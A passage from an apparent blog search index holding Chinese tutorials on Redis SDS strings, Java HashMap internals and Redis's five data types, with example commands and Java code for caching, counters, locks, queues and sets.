class="line">&#125;</span><br></pre></td></tr></table></figure><p>#</p><h2 id="5-3-APPEND命令"><a href="#5-3-APPEND命令" class="headerlink" title="5.3 APPEND命令"></a>5.3 APPEND命令</h2><figure class="highlight c"><table><tr><td class="code"><pre><span class="line"><span class="type">void</span> <span class="title function_">appendCommand</span><span class="params">(client *c)</span> &#123;</span><br><span class="line">    robj *o = lookupKeyWrite(c-&gt;db, c-&gt;argv[<span class="number">1</span>]);</span><br><span class="line">    </span><br><span class="line">    <span class="keyword">if</span> (o == <span class="literal">NULL</span>) &#123;</span><br><span class="line">        <span class="comment">// key不存在，直接创建</span></span><br><span class="line">        c-&gt;argv[<span class="number">2</span>] = tryObjectEncoding(c-&gt;argv[<span class="number">2</span>]);</span><br><span class="line">        dbAdd(c-&gt;db, c-&gt;argv[<span class="number">1</span>], c-&gt;argv[<span class="number">2</span>]);</span><br><span class="line">    &#125; <span class="keyword">else</span> &#123;</span><br><span class="line">        <span class="comment">// key存在，追加</span></span><br><span class="line">        <span class="keyword">if</span> (o-&gt;encoding == OBJ_ENCODING_INT) &#123;</span><br><span class="line">            <span class="comment">// 转换为RAW</span></span><br><span class="line">            o = createStringObjectFromLongLong((<span class="type">long</span>)o-&gt;ptr);</span><br><span class="line">        &#125;</span><br><span class="line">        </span><br><span class="line">        <span class="comment">// 获取原字符串</span></span><br><span class="line">        sds s = o-&gt;ptr;</span><br><span class="line">        <span class="comment">// 追加新内容</span></span><br><span class="line">        s = sdscatsds(s, c-&gt;argv[<span class="number">2</span>]-&gt;ptr);</span><br><span class="line">        o-&gt;ptr = s;</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h2 id="六、SDS-vs-C字符串对比"><a href="#六、SDS-vs-C字符串对比" class="headerlink" title="六、SDS vs C字符串对比"></a>六、SDS vs C字符串对比</h2><table><thead><tr><th>特性</th><th>C字符串</th><th>SDS</th></tr></thead><tbody><tr><td>获取长度</td><td>O(n)</td><td>O(1)</td></tr><tr><td>安全性</td><td>不安全（可能溢出）</td><td>安全（自动扩容）</td></tr><tr><td>内存分配</td><td>每次修改可能分配</td><td>预分配减少次数</td></tr><tr><td>二进制安全</td><td>否（遇到\0结束）</td><td>是（按len读取）</td></tr><tr><td>内存使用</td><td>仅数据+\0</td><td>头部+数据+\0</td></tr><tr><td>适用函数</td><td>C字符串函数</td><td>部分兼容</td></tr></tbody></table><h2 id="七、实践建议"><a href="#七、实践建议" class="headerlink" title="七、实践建议"></a>七、实践建议</h2><p>#</p><h2 id="7-1-控制String大小"><a href="#7-1-控制String大小" class="headerlink" title="7.1 控制String大小"></a>7.1 控制String大小</h2><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line"><span class="comment"># 查看String大小</span></span><br><span class="line">DEBUG OBJECT mykey</span><br><span class="line"><span class="comment"># 输出：value at:0x7f... refcount:1 encoding:embstr serializedlength:12 lru:... lru_seconds_idle:...</span></span><br><span class="line"></span><br><span class="line"><span class="comment"># serializedlength 可以估算内存占用</span></span><br></pre></td></tr></table></figure><p>#</p><h2 id="7-2-利用INT编码"><a href="#7-2-利用INT编码" class="headerlink" title="7.2 利用INT编码"></a>7.2 利用INT编码</h2><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="comment">// 使用数字作为key或value，节省内存</span></span><br><span class="line">redis.set(<span class="string">&quot;counter:10001&quot;</span>, <span class="string">&quot;0&quot;</span>);   <span class="comment">// 使用INT编码</span></span><br><span class="line">redis.incr(<span class="string">&quot;counter:10001&quot;</span>);        <span class="comment">// 极快的原子操作</span></span><br></pre></td></tr></table></figure><p>#</p><h2 id="7-3-避免频繁APPEND"><a href="#7-3-避免频繁APPEND" class="headerlink" title="7.3 避免频繁APPEND"></a>7.3 避免频繁APPEND</h2><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="comment">// 不好的做法：频繁追加</span></span><br><span class="line"><span class="keyword">for</span> (String item : items) &#123;</span><br><span class="line">    redis.append(<span class="string">&quot;log&quot;</span>, item);  <span class="comment">// 每次都可能导致重新分配</span></span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="comment">// 好的做法：批量处理</span></span><br><span class="line"><span class="type">StringBuilder</span> <span class="variable">sb</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">StringBuilder</span>();</span><br><span class="line"><span class="keyword">for</span> (String item : items) &#123;</span><br><span class="line">    sb.append(item);</span><br><span class="line">&#125;</span><br><span class="line">redis.set(<span class="string">&quot;log&quot;</span>, sb.toString());</span><br></pre></td></tr></table></figure><h2 id="八、总结"><a href="#八、总结" class="headerlink" title="八、总结"></a>八、总结</h2><p>SDS是Redis最核心的数据结构之一：</p><table><thead><tr><th>设计特点</th><th>解决的问题</th></tr></thead><tbody><tr><td>len字段</td><td>O(1)获取长度</td></tr><tr><td>alloc字段</td><td>防止缓冲区溢出</td></tr><tr><td>空间预分配</td><td>减少内存分配次数</td></tr><tr><td>惰性释放</td><td>优化缩短操作性能</td></tr><tr><td>二进制安全</td><td>支持任意二进制数据</td></tr><tr><td>多种头部</td><td>节省小字符串内存</td></tr></tbody></table><p>理解SDS的设计思想：</p><ol><li>用空间换时间（len字段）</li><li>预分配减少系统调用</li><li>惰性策略减少不必要的操作</li><li>针对不同场景优化编码</li></ol><p>这些设计思想不仅适用于Redis，也是高性能系统设计的通用原则。</p><h2 id="核心要点"><a href="#核心要点" class="headerlink" title="核心要点"></a>核心要点</h2><ol><li><p>String：简单的键值对，适合缓存、计数器</p></li><li><p>Hash：存储对象属性，适合用户信息、配置</p></li><li><p>List：有序列表，适合消息队列、最新列表</p></li><li><p>Set：无序去重，适合共同好友、抽奖</p></li><li><p>ZSet：有序集合，适合排行榜、积分系统</p></li></ol><h2 id="总结"><a href="#总结" class="headerlink" title="总结"></a>总结</h2><p>选择合适的数据结构是使用 Redis 的关键。在实际项目中，根据业务需求选择合适的类型，可以提升性能和开发效率。</p>]]></content>
      
      
      <categories>
          
          <category> Redis </category>
          
      </categories>
      
      
        <tags>
            
            <tag> Redis </tag>
            
            <tag> 缓存 </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>HashMap 底层结构和扩容过程</title>
      <link href="//hashmap-di-ceng-jie-gou-he-kuo-rong-guo-cheng/"/>
      <url>//hashmap-di-ceng-jie-gou-he-kuo-rong-guo-cheng/</url>
      
        <content type="html"><![CDATA[<h1 id="HashMap-底层结构和扩容过程"><a href="#HashMap-底层结构和扩容过程" class="headerlink" title="HashMap 底层结构和扩容过程"></a>HashMap 底层结构和扩容过程</h1><p>HashMap 是 Java 后端最常用的数据结构之一。它适合通过 key 快速找到 value，平均情况下查询、插入接近 O(1)。真正理解 HashMap，要抓住三个点：数组、链表/红黑树、扩容。</p><h2 id="基本使用"><a href="#基本使用" class="headerlink" title="基本使用"></a>基本使用</h2><figure class="highlight java"><table><tr><td class="code"><pre><span class="line">Map&lt;Long, String&gt; userMap = <span class="keyword">new</span> <span class="title class_">HashMap</span>&lt;&gt;();</span><br><span class="line">userMap.put(<span class="number">1L</span>, <span class="string">&quot;小乐&quot;</span>);</span><br><span class="line">userMap.put(<span class="number">2L</span>, <span class="string">&quot;张三&quot;</span>);</span><br><span class="line">System.out.println(userMap.get(<span class="number">1L</span>));</span><br></pre></td></tr></table></figure><p>HashMap 会先根据 key 的 hash 值定位数组下标。如果多个 key 落在同一个位置，就会形成冲突，Java 8 以后冲突链较长时会转成红黑树。</p><h2 id="扩容为什么要注意"><a href="#扩容为什么要注意" class="headerlink" title="扩容为什么要注意"></a>扩容为什么要注意</h2><p>默认负载因子是 0.75。元素数量超过阈值时，HashMap 会扩容，数组容量通常变成原来的 2 倍。扩容需要重新分布元素，所以如果你大概知道数据量，建议初始化容量：</p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line">Map&lt;Long, String&gt; userMap = <span class="keyword">new</span> <span class="title class_">HashMap</span>&lt;&gt;(<span class="number">1024</span>);</span><br></pre></td></tr></table></figure><h2 id="常见坑"><a href="#常见坑" class="headerlink" title="常见坑"></a>常见坑</h2><ul><li>HashMap 不是线程安全的，多线程写入要用 ConcurrentHashMap。</li><li>自定义对象作为 key 时，要正确重写 equals 和 hashCode。</li><li>不要在遍历 Map 时直接修改结构，必要时用迭代器或收集后再处理。</li></ul>]]></content>
      
      
      <categories>
          
          <category> Java集合 </category>
          
      </categories>
      
      
        <tags>
            
            <tag> JAVA </tag>
            
            <tag> 集合 </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>Redis五种数据类型与应用场景</title>
      <link href="//redis-five-data-types/"/>
      <url>//redis-five-data-types/</url>
      
        <content type="html"><![CDATA[<h1 id="Redis五种数据类型与应用场景"><a href="#Redis五种数据类型与应用场景" class="headerlink" title="Redis五种数据类型与应用场景"></a>Redis五种数据类型与应用场景</h1><p>Redis 的五种数据结构各有特色，用对了才能发挥它的优势。很多人只用到了 String 和 Hash，却不知道 List、Set、ZSet 在特定场景下更合适。本文从应用场景出发，讲什么时候用什么类型。</p><h2 id="一、String（字符串）"><a href="#一、String（字符串）" class="headerlink" title="一、String（字符串）"></a>一、String（字符串）</h2><p>#</p><h2 id="1-1-基本特点"><a href="#1-1-基本特点" class="headerlink" title="1.1 基本特点"></a>1.1 基本特点</h2><ul><li>最基本的数据类型，一个key对应一个value</li><li>最大可存储512MB</li><li>可以存储字符串、整数、浮点数</li></ul><p>#</p><h2 id="1-2-常用命令"><a href="#1-2-常用命令" class="headerlink" title="1.2 常用命令"></a>1.2 常用命令</h2><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line"><span class="comment"># 基本操作</span></span><br><span class="line">SET key value           <span class="comment"># 设置值</span></span><br><span class="line">GET key                 <span class="comment"># 获取值</span></span><br><span class="line">DEL key                 <span class="comment"># 删除</span></span><br><span class="line">EXISTS key              <span class="comment"># 判断是否存在</span></span><br><span class="line"></span><br><span class="line"><span class="comment"># 批量操作</span></span><br><span class="line">MSET key1 v1 key2 v2    <span class="comment"># 批量设置</span></span><br><span class="line">MGET key1 key2          <span class="comment"># 批量获取</span></span><br><span class="line"></span><br><span class="line"><span class="comment"># 数值操作</span></span><br><span class="line">INCR key                <span class="comment"># 自增1</span></span><br><span class="line">DECR key                <span class="comment"># 自减1</span></span><br><span class="line">INCRBY key 5            <span class="comment"># 增加指定值</span></span><br><span class="line"></span><br><span class="line"><span class="comment"># 过期时间</span></span><br><span class="line">SETEX key 60 value      <span class="comment"># 设置并指定过期时间（秒）</span></span><br><span class="line">SET key value EX 60     <span class="comment"># 同上</span></span><br><span class="line">TTL key                 <span class="comment"># 查看剩余过期时间</span></span><br></pre></td></tr></table></figure><p>#</p><h2 id="1-3-应用场景"><a href="#1-3-应用场景" class="headerlink" title="1.3 应用场景"></a>1.3 应用场景</h2><p><strong>场景一：缓存</strong></p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="comment">// 缓存用户信息</span></span><br><span class="line"><span class="type">String</span> <span class="variable">userJson</span> <span class="operator">=</span> redis.get(<span class="string">&quot;user:1001&quot;</span>);</span><br><span class="line"><span class="keyword">if</span> (userJson == <span class="literal">null</span>) &#123;</span><br><span class="line">    <span class="type">User</span> <span class="variable">user</span> <span class="operator">=</span> userMapper.findById(<span class="number">1001L</span>);</span><br><span class="line">    redis.setex(<span class="string">&quot;user:1001&quot;</span>, <span class="number">3600</span>, JSON.toJSONString(user));</span><br><span class="line">    <span class="keyword">return</span> user;</span><br><span class="line">&#125;</span><br><span class="line"><span class="keyword">return</span> JSON.parseObject(userJson, User.class);</span><br></pre></td></tr></table></figure><p><strong>场景二：计数器</strong></p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="comment">// 文章阅读量</span></span><br><span class="line">redis.incr(<span class="string">&quot;article:read:10001&quot;</span>);</span><br><span class="line"></span><br><span class="line"><span class="comment">// 限流计数</span></span><br><span class="line"><span class="type">String</span> <span class="variable">key</span> <span class="operator">=</span> <span class="string">&quot;rate_limit:&quot;</span> + userId;</span><br><span class="line"><span class="type">Long</span> <span class="variable">count</span> <span class="operator">=</span> redis.incr(key);</span><br><span class="line"><span class="keyword">if</span> (count == <span class="number">1</span>) &#123;</span><br><span class="line">    redis.expire(key, <span class="number">60</span>);  <span class="comment">// 首次设置60秒过期</span></span><br><span class="line">&#125;</span><br><span class="line"><span class="keyword">if</span> (count &gt; <span class="number">100</span>) &#123;</span><br><span class="line">    <span class="keyword">throw</span> <span class="keyword">new</span> <span class="title class_">RateLimitException</span>(<span class="string">&quot;请求过于频繁&quot;</span>);</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p><strong>场景三：分布式锁</strong></p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="comment">// 简单版分布式锁（需改进）</span></span><br><span class="line"><span class="type">String</span> <span class="variable">key</span> <span class="operator">=</span> <span class="string">&quot;lock:order:10001&quot;</span>;</span><br><span class="line"><span class="type">String</span> <span class="variable">value</span> <span class="operator">=</span> UUID.randomUUID().toString();</span><br><span class="line"><span class="type">Boolean</span> <span class="variable">locked</span> <span class="operator">=</span> redis.set(key, value, <span class="string">&quot;NX&quot;</span>, <span class="string">&quot;EX&quot;</span>, <span class="number">30</span>);</span><br><span class="line"><span class="keyword">if</span> (locked) &#123;</span><br><span class="line">    <span class="keyword">try</span> &#123;</span><br><span class="line">        <span class="comment">// 执行业务逻辑</span></span><br><span class="line">    &#125; <span class="keyword">finally</span> &#123;</span><br><span class="line">        <span class="comment">// 释放锁（需验证value防止误删）</span></span><br><span class="line">        <span class="type">String</span> <span class="variable">script</span> <span class="operator">=</span> </span><br><span class="line">            <span class="string">&quot;if redis.call(&#x27;get&#x27;, KEYS[1]) == ARGV[1] then &quot;</span> +</span><br><span class="line">            <span class="string">&quot;return redis.call(&#x27;del&#x27;, KEYS[1]) else return 0 end&quot;</span>;</span><br><span class="line">        redis.eval(script, Collections.singletonList(key), </span><br><span class="line">                   Collections.singletonList(value));</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p><strong>场景四：Session存储</strong></p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="comment">// 分布式Session</span></span><br><span class="line">redis.setex(<span class="string">&quot;session:&quot;</span> + sessionId, <span class="number">1800</span>, userId);</span><br></pre></td></tr></table></figure><h2 id="二、Hash（哈希）"><a href="#二、Hash（哈希）" class="headerlink" title="二、Hash（哈希）"></a>二、Hash（哈希）</h2><p>#</p><h2 id="2-1-基本特点"><a href="#2-1-基本特点" class="headerlink" title="2.1 基本特点"></a>2.1 基本特点</h2><ul><li>键值对的集合，适合存储对象</li><li>每个Hash可存储约40亿个键值对</li><li>相比String序列化，更节省空间，支持字段级操作</li></ul><p>#</p><h2 id="2-2-常用命令"><a href="#2-2-常用命令" class="headerlink" title="2.2 常用命令"></a>2.2 常用命令</h2><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">HSET user:1001 name <span class="string">&quot;Alice&quot;</span>     <span class="comment"># 设置字段</span></span><br><span class="line">HGET user:1001 name             <span class="comment"># 获取字段</span></span><br><span class="line">HMSET user:1001 name <span class="string">&quot;Alice&quot;</span> age 25 city <span class="string">&quot;Beijing&quot;</span>  <span class="comment"># 批量设置</span></span><br><span class="line">HGETALL user:1001               <span class="comment"># 获取所有字段</span></span><br><span class="line">HDEL user:1001 city             <span class="comment"># 删除字段</span></span><br><span class="line">HLEN user:1001                  <span class="comment"># 字段数量</span></span><br><span class="line">HINCRBY user:1001 age 1         <span class="comment"># 字段值增加</span></span><br><span class="line">HEXISTS user:1001 name          <span class="comment"># 判断字段是否存在</span></span><br><span class="line">HKEYS user:1001                 <span class="comment"># 获取所有字段名</span></span><br><span class="line">HVALS user:1001                 <span class="comment"># 获取所有字段值</span></span><br></pre></td></tr></table></figure><p>#</p><h2 id="2-3-应用场景"><a href="#2-3-应用场景" class="headerlink" title="2.3 应用场景"></a>2.3 应用场景</h2><p><strong>场景一：存储对象</strong></p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="comment">// 存储用户信息</span></span><br><span class="line">Map&lt;String, String&gt; userMap = <span class="keyword">new</span> <span class="title class_">HashMap</span>&lt;&gt;();</span><br><span class="line">userMap.put(<span class="string">&quot;name&quot;</span>, <span class="string">&quot;Alice&quot;</span>);</span><br><span class="line">userMap.put(<span class="string">&quot;age&quot;</span>, <span class="string">&quot;25&quot;</span>);</span><br><span class="line">userMap.put(<span class="string">&quot;city&quot;</span>, <span class="string">&quot;Beijing&quot;</span>);</span><br><span class="line">redis.hsetAll(<span class="string">&quot;user:1001&quot;</span>, userMap);</span><br><span class="line"></span><br><span class="line"><span class="comment">// 获取单个字段</span></span><br><span class="line"><span class="type">String</span> <span class="variable">name</span> <span class="operator">=</span> redis.hget(<span class="string">&quot;user:1001&quot;</span>, <span class="string">&quot;name&quot;</span>);</span><br><span class="line"></span><br><span class="line"><span class="comment">// 修改单个字段</span></span><br><span class="line">redis.hset(<span class="string">&quot;user:1001&quot;</span>, <span class="string">&quot;age&quot;</span>, <span class="string">&quot;26&quot;</span>);</span><br></pre></td></tr></table></figure><p><strong>场景二：购物车</strong></p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="comment">// 添加商品到购物车</span></span><br><span class="line">redis.hset(<span class="string">&quot;cart:user:1001&quot;</span>, <span class="string">&quot;sku:2001&quot;</span>, <span class="string">&quot;2&quot;</span>);  <span class="comment">// 商品ID -&gt; 数量</span></span><br><span class="line">redis.hset(<span class="string">&quot;cart:user:1001&quot;</span>, <span class="string">&quot;sku:2002&quot;</span>, <span class="string">&quot;1&quot;</span>);</span><br><span class="line"></span><br><span class="line"><span class="comment">// 修改数量</span></span><br><span class="line">redis.hincrBy(<span class="string">&quot;cart:user:1001&quot;</span>, <span class="string">&quot;sku:2001&quot;</span>, <span class="number">1</span>);</span><br><span class="line"></span><br><span class="line"><span class="comment">// 获取购物车</span></span><br><span class="line">Map&lt;String, String&gt; cart = redis.hgetAll(<span class="string">&quot;cart:user:1001&quot;</span>);</span><br><span class="line"></span><br><span class="line"><span class="comment">// 删除商品</span></span><br><span class="line">redis.hdel(<span class="string">&quot;cart:user:1001&quot;</span>, <span class="string">&quot;sku:2001&quot;</span>);</span><br></pre></td></tr></table></figure><p><strong>场景三：配置信息</strong></p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="comment">// 存储系统配置</span></span><br><span class="line">redis.hset(<span class="string">&quot;config:app&quot;</span>, <span class="string">&quot;max_upload_size&quot;</span>, <span class="string">&quot;10485760&quot;</span>);</span><br><span class="line">redis.hset(<span class="string">&quot;config:app&quot;</span>, <span class="string">&quot;default_timeout&quot;</span>, <span class="string">&quot;30&quot;</span>);</span><br><span class="line">redis.hset(<span class="string">&quot;config:app&quot;</span>, <span class="string">&quot;retry_times&quot;</span>, <span class="string">&quot;3&quot;</span>);</span><br><span class="line"></span><br><span class="line"><span class="comment">// 读取配置</span></span><br><span class="line"><span class="type">String</span> <span class="variable">timeout</span> <span class="operator">=</span> redis.hget(<span class="string">&quot;config:app&quot;</span>, <span class="string">&quot;default_timeout&quot;</span>);</span><br></pre></td></tr></table></figure><p><strong>String vs Hash存储对象对比</strong>：</p><table><thead><tr><th>方式</th><th>优点</th><th>缺点</th></tr></thead><tbody><tr><td>String(JSON)</td><td>序列化简单</td><td>修改需整体更新，空间占用大</td></tr><tr><td>Hash</td><td>字段级操作，节省空间</td><td>复杂对象不便存储</td></tr></tbody></table><h2 id="三、List（列表）"><a href="#三、List（列表）" class="headerlink" title="三、List（列表）"></a>三、List（列表）</h2><p>#</p><h2 id="3-1-基本特点"><a href="#3-1-基本特点" class="headerlink" title="3.1 基本特点"></a>3.1 基本特点</h2><ul><li>双向链表，有序可重复</li><li>两端插入和删除都是O(1)</li><li>支持阻塞操作</li></ul><p>#</p><h2 id="3-2-常用命令"><a href="#3-2-常用命令" class="headerlink" title="3.2 常用命令"></a>3.2 常用命令</h2><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">LPUSH list value            <span class="comment"># 左侧插入</span></span><br><span class="line">RPUSH list value            <span class="comment"># 右侧插入</span></span><br><span class="line">LPOP list                   <span class="comment"># 左侧弹出</span></span><br><span class="line">RPOP list                   <span class="comment"># 右侧弹出</span></span><br><span class="line">LRANGE list 0 -1            <span class="comment"># 获取所有元素</span></span><br><span class="line">LLEN list                   <span class="comment"># 列表长度</span></span><br><span class="line">LINDEX list 0               <span class="comment"># 获取指定索引元素</span></span><br><span class="line">LREM list 1 value           <span class="comment"># 删除指定元素</span></span><br><span class="line">LTRIM list 0 99             <span class="comment"># 只保留前100个</span></span><br><span class="line">BLPOP list 30               <span class="comment"># 阻塞左侧弹出，等待30秒</span></span><br><span class="line">BRPOP list1 list2 30        <span class="comment"># 阻塞弹出，多个列表</span></span><br></pre></td></tr></table></figure><p>#</p><h2 id="3-3-应用场景"><a href="#3-3-应用场景" class="headerlink" title="3.3 应用场景"></a>3.3 应用场景</h2><p><strong>场景一：消息队列</strong></p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="comment">// 生产者</span></span><br><span class="line">redis.lpush(<span class="string">&quot;queue:email&quot;</span>, emailJson);</span><br><span class="line"></span><br><span class="line"><span class="comment">// 消费者</span></span><br><span class="line"><span class="keyword">while</span> (running) &#123;</span><br><span class="line">    List&lt;String&gt; result = redis.brpop(<span class="number">30</span>, <span class="string">&quot;queue:email&quot;</span>);</span><br><span class="line">    <span class="keyword">if</span> (result != <span class="literal">null</span>) &#123;</span><br><span class="line">        <span class="type">String</span> <span class="variable">emailJson</span> <span class="operator">=</span> result.get(<span class="number">1</span>);</span><br><span class="line">        processEmail(emailJson);</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p><strong>场景二：最新列表</strong></p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="comment">// 添加新文章到列表</span></span><br><span class="line">redis.lpush(<span class="string">&quot;articles:latest&quot;</span>, articleId);</span><br><span class="line">redis.ltrim(<span class="string">&quot;articles:latest&quot;</span>, <span class="number">0</span>, <span class="number">99</span>);  <span class="comment">// 只保留100条</span></span><br><span class="line"></span><br><span class="line"><span class="comment">// 获取最新文章</span></span><br><span class="line">List&lt;String&gt; latestArticles = redis.lrange(<span class="string">&quot;articles:latest&quot;</span>, <span class="number">0</span>, <span class="number">9</span>);</span><br></pre></td></tr></table></figure><p><strong>场景三：时间线/动态</strong></p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="comment">// 用户发布动态</span></span><br><span class="line">redis.lpush(<span class="string">&quot;timeline:user:1001&quot;</span>, momentJson);</span><br><span class="line">redis.ltrim(<span class="string">&quot;timeline:user:1001&quot;</span>, <span class="number">0</span>, <span class="number">999</span>);</span><br><span class="line"></span><br><span class="line"><span class="comment">// 获取动态</span></span><br><span class="line">List&lt;String&gt; moments = redis.lrange(<span class="string">&quot;timeline:user:1001&quot;</span>, <span class="number">0</span>, <span class="number">20</span>);</span><br></pre></td></tr></table></figure><p><strong>场景四：栈和队列</strong></p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="comment">// 栈（后进先出）</span></span><br><span class="line">redis.lpush(<span class="string">&quot;stack&quot;</span>, value);  <span class="comment">// 入栈</span></span><br><span class="line">redis.lpop(<span class="string">&quot;stack&quot;</span>);          <span class="comment">// 出栈</span></span><br><span class="line"></span><br><span class="line"><span class="comment">// 队列（先进先出）</span></span><br><span class="line">redis.rpush(<span class="string">&quot;queue&quot;</span>, value);  <span class="comment">// 入队</span></span><br><span class="line">redis.lpop(<span class="string">&quot;queue&quot;</span>);          <span class="comment">// 出队</span></span><br></pre></td></tr></table></figure><h2 id="四、Set（集合）"><a href="#四、Set（集合）" class="headerlink" title="四、Set（集合）"></a>四、Set（集合）</h2><p>#</p><h2 id="4-1-基本特点"><a href="#4-1-基本特点" class="headerlink" title="4.1 基本特点"></a>4.1 基本特点</h2><ul><li>无序不重复集合</li><li>支持集合运算（交、并、差）</li><li>判断元素是否存在O(1)</li></ul><p>#</p><h2 id="4-2-常用命令"><a href="#4-2-常用命令" class="headerlink" title="4.2 常用命令"></a>4.2 常用命令</h2><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">SADD <span class="built_in">set</span> value              <span class="comment"># 添加元素</span></span><br><span class="line">SREM <span class="built_in">set</span> value              <span class="comment"># 删除元素</span></span><br><span class="line">SMEMBERS <span class="built_in">set</span>                <span class="comment"># 获取所有元素</span></span><br><span class="line">SISMEMBER <span class="built_in">set</span> value         <span class="comment"># 判断元素是否存在</span></span><br><span class="line">SCARD <span class="built_in">set</span>                   <span class="comment"># 集合大小</span></span><br><span class="line">SPOP <span class="built_in">set</span>                    <span class="comment"># 随机弹出一个元素</span></span><br><span class="line">SRANDMEMBER <span class="built_in">set</span> 3           <span class="comment"># 随机获取3个元素（不删除）</span></span><br><span class="line">SINTER set1 set2            <span class="comment"># 交集</span></span><br><span class="line">SUNION set1 set2            <span class="comment"># 并集</span></span><br><span class="line">SDIFF set1 set2             <span class="comment"># 差集</span></span><br><span class="line">SINTERSTORE result set1 set2  <span class="comment"># 交集并存储</span></span><br></pre></td></tr></table></figure><p>#</p><h2 id="4-3-应用场景"><a href="#4-3-应用场景" class="headerlink" title="4.3 应用场景"></a>4.3 应用场景</h2><p><strong>场景一：标签系统</strong></p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="comment">// 给文章添加标签</span></span><br><span class="line">redis.sadd(<span class="string">&quot;article:tags:10001&quot;</span>, <span class="string">&quot;Java&quot;</span>, <span class="string">&quot;Redis&quot;</span>, <span class="string">&quot;缓存&quot;</span>);</span><br><span class="line"></span><br><span class="line"><span class="comment">// 获取文章标签</span></span><br><span class="line">Set&lt;String&gt; tags = redis.smembers(<span class="string">&quot;article:tags:10001&quot;</span>);</span><br><span class="line"></span><br><span class="line"><span class="comment">// 获取有相同标签的文章</span></span><br><span class="line">redis.sinter(<span class="string">&quot;tag:Java&quot;</span>, <span class="string">&quot;tag:Redis&quot;</span>);</span><br></pre></td></tr></table></figure><p><strong>场景二：共同好友</strong></p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="comment">// 用户的好友集合</span></span><br><span class="line">redis.sadd(<span class="string">&quot;friends:user:1001&quot;</span>, <span class="string">&quot;2001&quot;</span>, <span class="string">&quot;2002&quot;</span>, <span class="string">&quot;2003&quot;</span>);</span><br><span class="line">redis.sadd(<span class="string">&quot;friends:user:1002&quot;</span>, <span class="string">&quot;2002&quot;</span>, <span class="string">&quot;2003&quot;</span>, <span class="string">&quot;2004&quot;</span>);</span><br><span class="line"></span><br><span class="line"><span class="comment">// 共同好友</span></span><br><span class="line">Set&lt;String&gt; common = redis.sinter(<span class="string">&quot;friends:user:1001&quot;</span>, <span class="string">&quot;friends:user:1002&quot;</span>);</span><br><span class="line"><span class="comment">// 结果: 2002, 2003</span></span><br><span class="line"></span><br><span class="line"><span class="comment">// 可能认识的人（差集）</span></span><br><span class="line">Set&lt;String&gt; suggest = redis.sdiff(<span class="string">&quot;friends:user:1002&quot;</span>, <span class="string">&quot;friends:user:1001&quot;</span>);</span><br><span class="line"><span class="comment">// 结果: 2004</span></span><br></pre></td></tr></table></figure><p><strong>场景三：抽奖/随机</strong></p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="comment">// 添加参与用户</span></span><br><span class="line">redis.sadd(<span class="string">&quot;lottery:activity:1&quot;</span>, <span class="string">&quot;user1&quot;</span>, <span class="string">&quot;user2&quot;</span>, <span class="string">&quot;user3&quot;</span>, ...);</span><br><span class="line"></span><br><span class="line"><span class="comment">// 随机抽取中奖者</span></span><br><span class="line">Set&lt;String&gt; winners = redis.srandmember(<span class="string">&quot;lottery:activity:1&quot;</span>, <span class="number">3</span>);</span><br><span class="line"></span><br><span class="line"><span class="comment">// 抽出并移除（不重复中奖）</span></span><br><span class="line">List&lt;String&gt; winners = <span class="keyword">new</span> <span class="title class_">ArrayList</span>&lt;&gt;();</span><br><span class="line"><span class="keyword">for</span> (<span class="type">int</span> <span class="variable">i</span> <span class="operator">=</span> <span class="number">0</span>; i &lt; <span class="number">3</span>; i++) &#123;</span><br><span class="line">    <span class="type">String</span> <span class="variable">winner</span> <span class="operator">=</span> redis.spop(<span class="string">&quot;lottery:activity:1&quot;</span>);</span><br><span class="line">    winners.add(winner);</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p><strong>场景四：黑名单/白名单</strong></p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="comment">// IP黑名单</span></span><br><span class="line">redis.sadd(<span class="string">&quot;blacklist:ip&quot;</span>, <span class="string">&quot;192.168.1.100&quot;</span>, <span class="string">&quot;10.0.0.50&quot;</span>);</span><br><span class="line"></span><br><span class="line"><span class="comment">// 检查是否在黑名单</span></span><br><span class="line"><span class="type">Boolean</span> <span class="variable">blocked</span> <span class="operator">=</span> redis.sismember(<span class="string">&quot;blacklist:ip&quot;</span>, clientIp);</span><br></pre></td></tr></table></figure><h2 id="五、ZSet（有序集合）"><a href="#五、ZSet（有序集合）" class="headerlink" title="五、ZSet（有序集合）"></a>五、ZSet（有序集合）</h2><p>#</p><h2 id="5-1-基本特点"><a href="#5-1-基本特点" class="headerlink" title="5.1 基本特点"></a>5.1 基本特点</h2><ul><li>每个元素关联一个分数（score）</li><li>按分数排序，分数可重复</li><li>支持按分数范围查询</li></ul><p>#</p><h2 id="5-2-常用命令"><a href="#5-2-常用命令" class="headerlink" title="5.2 常用命令"></a>5.2 常用命令</h2><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">ZADD zset score member         <span class="comment"># 